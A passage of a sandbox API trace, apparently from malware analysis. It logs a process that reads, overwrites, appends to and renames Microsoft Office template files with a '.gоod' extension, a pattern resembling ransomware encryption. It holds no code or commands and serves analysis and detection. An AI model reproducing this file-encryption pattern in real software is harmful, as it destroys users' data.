lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x38f08c0*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0232.593] CloseHandle (hObject=0x834) returned 1 [0232.593] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", lpFilePart=0x0) returned 0x4b [0232.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0232.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0232.594] GetFileType (hFile=0x834) returned 0x1 [0232.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0232.594] GetFileType (hFile=0x834) returned 0x1 [0232.594] WriteFile (in: hFile=0x834, lpBuffer=0x38ef600*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x38ef600*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0232.594] CloseHandle (hObject=0x834) returned 1 [0232.594] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", lpFilePart=0x0) returned 0x4b [0232.594] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx.gоod", lpFilePart=0x0) returned 0x50 [0232.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0232.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86d9aca6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf6b1)) returned 1 [0232.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0232.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx.gоod")) returned 1 [0232.596] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", lpFilePart=0x0) returned 0x3e [0232.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0232.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft"), fInfoLevelId=0x0, lpFileInformation=0x396cd20 | out: lpFileInformation=0x396cd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0233.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0233.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", lpFilePart=0x0) returned 0x3e [0233.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0233.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.338] GetFileType (hFile=0x630) returned 0x1 [0233.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0233.338] GetFileType (hFile=0x630) returned 0x1 [0233.338] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0233.338] ReadFile (in: hFile=0x630, lpBuffer=0x3824ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3824ae8*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0233.339] CloseHandle (hObject=0x630) returned 1 [0233.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", lpFilePart=0x0) returned 0x3e [0233.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0233.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.340] GetFileType (hFile=0x630) returned 0x1 [0233.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0233.340] GetFileType (hFile=0x630) returned 0x1 [0233.340] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x3000 [0233.340] WriteFile (in: hFile=0x630, lpBuffer=0x3825f70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3825f70*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0233.340] CloseHandle (hObject=0x630) returned 1 [0233.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", lpFilePart=0x0) returned 0x3e [0233.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0233.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.340] GetFileType (hFile=0x630) returned 0x1 [0233.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0233.340] GetFileType (hFile=0x630) returned 0x1 [0233.340] ReadFile (in: hFile=0x630, lpBuffer=0x3828218, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3828218*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0233.368] CloseHandle (hObject=0x630) returned 1 [0233.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", lpFilePart=0x0) returned 0x3e [0233.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0233.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.368] GetFileType (hFile=0x630) returned 0x1 [0233.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0233.368] GetFileType (hFile=0x630) returned 0x1 [0233.368] WriteFile (in: hFile=0x630, lpBuffer=0x3826f88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3826f88*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0233.368] CloseHandle (hObject=0x630) returned 1 [0233.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT", lpFilePart=0x0) returned 0x3e [0233.369] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT.gоod", lpFilePart=0x0) returned 0x43 [0233.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0233.369] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8750e1df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3010)) returned 1 [0233.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0233.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\MAIL.OFT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\mail.oft.gоod")) returned 1 [0233.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", lpFilePart=0x0) returned 0x50 [0233.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0233.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx"), fInfoLevelId=0x0, lpFileInformation=0x38a55f8 | out: lpFileInformation=0x38a55f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6bcc)) returned 1 [0233.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0233.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", lpFilePart=0x0) returned 0x50 [0233.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0233.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.371] GetFileType (hFile=0x630) returned 0x1 [0233.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0233.371] GetFileType (hFile=0x630) returned 0x1 [0233.371] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0233.371] ReadFile (in: hFile=0x630, lpBuffer=0x38a5a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x38a5a70*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0233.490] CloseHandle (hObject=0x630) returned 1 [0233.490] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", lpFilePart=0x0) returned 0x50 [0233.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0233.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.525] GetFileType (hFile=0x630) returned 0x1 [0233.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0233.525] GetFileType (hFile=0x630) returned 0x1 [0233.525] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x6bcc [0233.525] WriteFile (in: hFile=0x630, lpBuffer=0x37eaff8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x37eaff8*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0233.569] CloseHandle (hObject=0x630) returned 1 [0233.569] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", lpFilePart=0x0) returned 0x50 [0233.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0233.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.570] GetFileType (hFile=0x630) returned 0x1 [0233.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0233.570] GetFileType (hFile=0x630) returned 0x1 [0233.570] ReadFile (in: hFile=0x630, lpBuffer=0x3871ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3871ab8*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0233.696] CloseHandle (hObject=0x630) returned 1 [0233.697] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", lpFilePart=0x0) returned 0x50 [0233.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0233.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.697] GetFileType (hFile=0x630) returned 0x1 [0233.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0233.697] GetFileType (hFile=0x630) returned 0x1 [0233.697] WriteFile (in: hFile=0x630, lpBuffer=0x3762150*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3762150*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0233.697] CloseHandle (hObject=0x630) returned 1 [0233.697] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx", lpFilePart=0x0) returned 0x50 [0233.697] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx.gоod", lpFilePart=0x0) returned 0x55 [0233.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0233.697] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8782f3c2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6bdc)) returned 1 [0233.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0233.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Office Word 2003 Look.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\office word 2003 look.dotx.gоod")) returned 1 [0233.699] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx", lpFilePart=0x0) returned 0x47 [0233.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0233.699] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3770230 | out: lpFileInformation=0x3770230*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f)) returned 1 [0233.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0233.700] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx", lpFilePart=0x0) returned 0x47 [0233.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0233.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.700] GetFileType (hFile=0x630) returned 0x1 [0233.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0233.700] GetFileType (hFile=0x630) returned 0x1 [0233.700] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0233.700] ReadFile (in: hFile=0x630, lpBuffer=0x3770658, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3770658*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0233.702] CloseHandle (hObject=0x630) returned 1 [0233.702] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx", lpFilePart=0x0) returned 0x47 [0233.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0233.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.702] GetFileType (hFile=0x630) returned 0x1 [0233.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0233.702] GetFileType (hFile=0x630) returned 0x1 [0233.702] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1db9f [0233.702] WriteFile (in: hFile=0x630, lpBuffer=0x37718f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x37718f8*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0233.704] CloseHandle (hObject=0x630) returned 1 [0233.704] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx", lpFilePart=0x0) returned 0x47 [0233.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0233.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.704] GetFileType (hFile=0x630) returned 0x1 [0233.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0233.704] GetFileType (hFile=0x630) returned 0x1 [0233.704] ReadFile (in: hFile=0x630, lpBuffer=0x3773bc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3773bc0*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0234.272] CloseHandle (hObject=0x630) returned 1 [0234.273] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx", lpFilePart=0x0) returned 0x47 [0234.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0234.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0234.273] GetFileType (hFile=0x630) returned 0x1 [0234.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0234.273] GetFileType (hFile=0x630) returned 0x1 [0234.273] WriteFile (in: hFile=0x630, lpBuffer=0x376a0c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x376a0c0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0234.273] CloseHandle (hObject=0x630) returned 1 [0234.273] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginLetter.Dotx", lpFilePart=0x0) 